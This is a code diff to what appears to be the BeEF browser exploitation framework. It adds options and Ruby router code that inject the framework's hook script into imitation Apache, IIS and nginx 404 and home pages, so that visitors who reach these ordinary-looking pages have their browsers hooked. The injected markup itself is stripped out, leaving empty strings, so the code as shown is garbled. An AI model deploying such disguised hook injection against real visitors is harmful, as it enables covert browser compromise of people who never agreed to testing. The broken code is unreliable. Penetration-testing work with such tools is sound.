diff --git a/config.yaml b/config.yaml index a390b6bb9..d242bc8a2 100644 --- a/config.yaml +++ b/config.yaml @@ -73,6 +73,8 @@ beef: web_server_imitation: enable: true type: "apache" # Supported: apache, iis, nginx + hook_404: false # inject BeEF hook in HTTP 404 responses + hook_root: false # inject BeEF hook in the server home page # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: diff --git a/core/main/router/router.rb b/core/main/router/router.rb index c315df52b..1587a1fbe 100644 --- a/core/main/router/router.rb +++ b/core/main/router/router.rb @@ -32,6 +32,7 @@ module BeEF "

The requested URL was not found on this server.

" + "
" + "
Apache/2.2.3 (CentOS)
" + + ("" if config.get("beef.http.web_server_imitation.hook_404")).to_s + "" when "iis" #response body @@ -65,7 +66,9 @@ module BeEF "
  • Open IIS Help, which is accessible in IIS Manager (inetmgr)," + "and search for topics titled Web Site Setup, Common Administrative Tasks, and About Custom Error Messages.
  • " + "" + - "" + "" + + ("" if config.get("beef.http.web_server_imitation.hook_404")).to_s + + "" when "nginx" #response body "\n"+ @@ -73,6 +76,7 @@ module BeEF "\n" + "

    404 Not Found

    \n" + "
    nginx
    \n" + + ("" if config.get("beef.http.web_server_imitation.hook_404")).to_s + "\n" + "\n" else @@ -235,6 +239,7 @@ module BeEF "

    http://www.internic.net/whois.html

    " + "" + "" + + ("" if config.get("beef.http.web_server_imitation.hook_root")).to_s + "" + "" when "iis" @@ -265,6 +270,7 @@ module BeEF "" + "" + "" + + ("" if config.get("beef.http.web_server_imitation.hook_root")).to_s + "" + "" when "nginx" @@ -289,6 +295,7 @@ module BeEF "Commercial support is available at\n" + "nginx.com.

    \n\n" + "

    Thank you for using nginx.

    \n" + + ("" if config.get("beef.http.web_server_imitation.hook_root")).to_s + "\n" + "\n" else